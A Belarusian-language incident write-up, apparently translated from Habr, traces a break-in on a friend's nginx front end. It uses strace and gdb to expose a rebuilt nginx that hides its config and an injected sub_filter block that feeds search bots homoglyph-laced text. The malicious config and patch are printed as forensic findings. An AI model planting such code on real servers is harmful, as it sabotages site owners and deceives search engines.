Калі 'a' не роўна 'а'. Па слядах аднаго ўзлому

Найнепрыемнейшая гісторыя здарылася з адным маім знаёмым. Але наколькі яна аказалася непрыемнай для Міхаіла настолькі ж займальнай для мяне.

Трэба сказаць, што прыяцель мой суцэль сабе UNIX-карыстальнік: можа сам паставіць сістэму, усталяваць MySQL, PHP і зрабіць найпростыя налады Nginx.
І ёсць у яго дзясятак-паўтара сайтаў прысвечаных будаўнічым інструментам.

Адзін з такіх сайтаў прысвечаны бензапілам шчыльненька сядзіць у ТОПе пошукавікаў. Сайт гэты - некамерцыйны агляднік, але камусьці папярок горла і панадзіліся яго атакаваць. Тое DDoS, то брутфорс, то каментары напішуць непатрэбныя і шлюць абузы на хостынг і ў РКН.
Нечакана ўсё сціхла і гэта зацішша аказалася не да дабра, а сайт пачаў паступова пакідаць верхнія радкі выдачы.

Калі 'a' не роўна 'а'. Па слядах аднаго ўзлому

Гэта была прыказка, далей сама адмінская байка.

Час набліжаўся да сну калі раздаўся званок тэлефона: «Сань, ты не зірнеш мой сервер? Мне здаецца мяне хакнулі, даказаць не магу, але адчуванне не пакідае ўжо трэці тыдзень. Можа мне проста пара лячыцца ад параноі?»

Далей пайшло паўгадзіннае абмеркаванне, якое коратка можна выказаць так:

  • глеба для ўзлому была цалкам урадлівай;
  • узломшчык мог атрымаць правы суперкарыстальніка;
  • атака (калі яна мела месца) была мэтанакіраванай і менавіта на гэты сайт;
  • праблемныя месцы выпраўленыя і трэба толькі зразумець ці быў факт пранікнення;
  • узлом не мог закрануць код сайта і баз дадзеных.

Датычна апошняга пункта.

Калі 'a' не роўна 'а'. Па слядах аднаго ўзлому

У свет глядзіць толькі белы IP франтэнда. Паміж бакэндамі і фронтэндам няма ніякага абмену акрамя http(s), карыстачы/паролі розныя, ключамі не абменьваліся. На шэрых адрасах усе парты акрамя 80/443 зачыненыя. Белыя IP бакэндаў вядомыя толькі двум карыстальнікам, якім Міхаіл цалкам давярае.

На франтэндзе ўстаноўлена Debian 9 і да моманту званка сістэма ізаляваная ад свету вонкавым firewall'ам і спынена.

«Ok, давай доступы, - вырашаю адкласці сон на гадзінку. - Пагляджу сваім вокам».

Тут і далей:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

У пошуках магчымага ўзлому

Запускаю сервер, спачатку ў rescue-mode. Мантую дыскі, гартаю auth-логі, гісторыя, сістэмныя логі і да т.п., па магчымасці правяраю даты стварэння файлаў, хоць разумею, што нармальны ўзломшчык «падмел» бы за сабой, ды і Міша ўжо шляхетна «натаптаў» пакуль шукаў сам.

Стартую ў нармальным рэжыме, асабліва пакуль не разумеючы што шукаць, вывучаю канфігі. У першую чаргу цікавіць Nginx бо, увогуле, на франтэндзе акрамя яго і няма нічога.
Канфігі невялікія, добра структураваныя ў дзясятак файлаў, праглядаю іх проста cat'ым па чарзе. Накшталт усё чыста, але ці мала выпусціў нейкі ўключаць, зраблю я поўны лістынг:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Не зразумеў: «Дзе лістынг-то?»

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Да пытання аб лістынгу дадаецца другі: "Чаму такая старажытная версія nginx?"

Да таго ж сістэма лічыць, што версія ўсталявана свежае:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Тэлефаную:
- Міш, ты навошта перазбіраў Nginx?
- Аксціся, я нават не ведаю як гэта зрабіць!
- Ok, ну, спі...

Nginx адназначна перасабраны і выснова лістынга па -T схаваны нездарма. Сумневаў ва ўзломе ўжо няма і можна гэта проста прыняць і (раз ужо Міша ўсё-роўна замяніў сервер новым) палічыць праблему вырашанай.

І сапраўды, раз ужо нехта атрымаў правы кораньТак, тое мае сэнс рабіць толькі system reinstall, А шукаць, што там было набедокурено бескарысна, але ў гэты раз цікаўнасць перамагло сон. Як жа даведацца, што ад нас хацелі схаваць?

Паспрабуем адтрасаваць:

$ strace nginx -T

Праглядаем, у трасіроўцы відавочна бракуе радкоў а-ля

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Дзеля цікавасці параўноўваем высновы

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Думаю, што частка кода /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

была прыведзена да выгляду:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

або

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

таму лістынг па "-T" не адлюстроўваецца.

Але як жа паглядзець наш канфіг?

Калі мая думка дакладная і праблема толькі ў зменнай ngx_dump_config паспрабуем усталяваць яе з дапамогай gdb, балазе ключык -with-cc-opt -g прысутнічае і спадзяемся, што аптымізацыя -O2 нам не перашкодзіць. Пры гэтым, калі я не ведаю як ngx_dump_config магла быць апрацавана ў case 'T':, не будзем выклікаць гэты блок, а ўсталюем яе выкарыстоўваючы case 't':

Чаму можна задзейнічаць '-t' нароўні з '-T'Апрацоўка блока if(ngx_dump_config) адбываецца ўнутры if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Вядома, калі код зменены ў гэтай частцы, а не ў case 'T':, то мой спосаб не падыдзе.

Тэставы nginx.confУжо вырашыўшы праблему дасведчаным шляхам было ўсталявана, што для працы зловреда неабходны мінімальны канфіг. Nginx выгляду:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Яго і будзем для сцісласці выкарыстоўваць у артыкуле.

Запускаем адладчык

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Па кроках:

  • усталёўваны кропку супыну ў функцыі main ()
  • запускаем праграму
  • змяняны значэнне зменнай вызначальнай выснова канфіга ngx_dump_config=1
  • працягваем/завяршаем праграму

Як бачым рэальны канфіг адрозніваецца ад нашага, вылучаем з яго паразітны кавалак:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Разгледзім па парадку што ж тут адбываецца.

Вызначаюцца Карыстальнік'ы yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Выключаюцца службовыя старонкі WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

І для тых, хто патрапіў пад абодва вышэйпералічаныя ўмовы

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

у тэксце HTML-старонкі змяняецца 'о' на 'о' и 'а' на "а":

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Менавіта так, тонкасць толькі ў тым што 'а' != 'a' гэтак жа як і 'о' != 'o':

Калі 'a' не роўна 'а'. Па слядах аднаго ўзлому

Такім чынам боты пошукавых сістэм атрымліваюць замест звычайнага 100%-кірылічнага тэксту мадыфікаванае смецце разведзенае лацінскімі. "а" и 'о'. Не бяруся разважаць як гэта ўплывае на SEO, але ці наўрад такая літарная мешаніна пазітыўна адаб'ецца на пазіцыях у выдачы.

Што сказаць, хлопцы з фантазіяй.

Спасылкі

Адладка з дапамогай GDB
gdb(1) - Linux man page
strace(1) - Linux man page
Nginx - Module ngx_http_sub_module
Аб пілах, бензапілах і электрапілах

Крыніца: habr.com

Дадаць каментар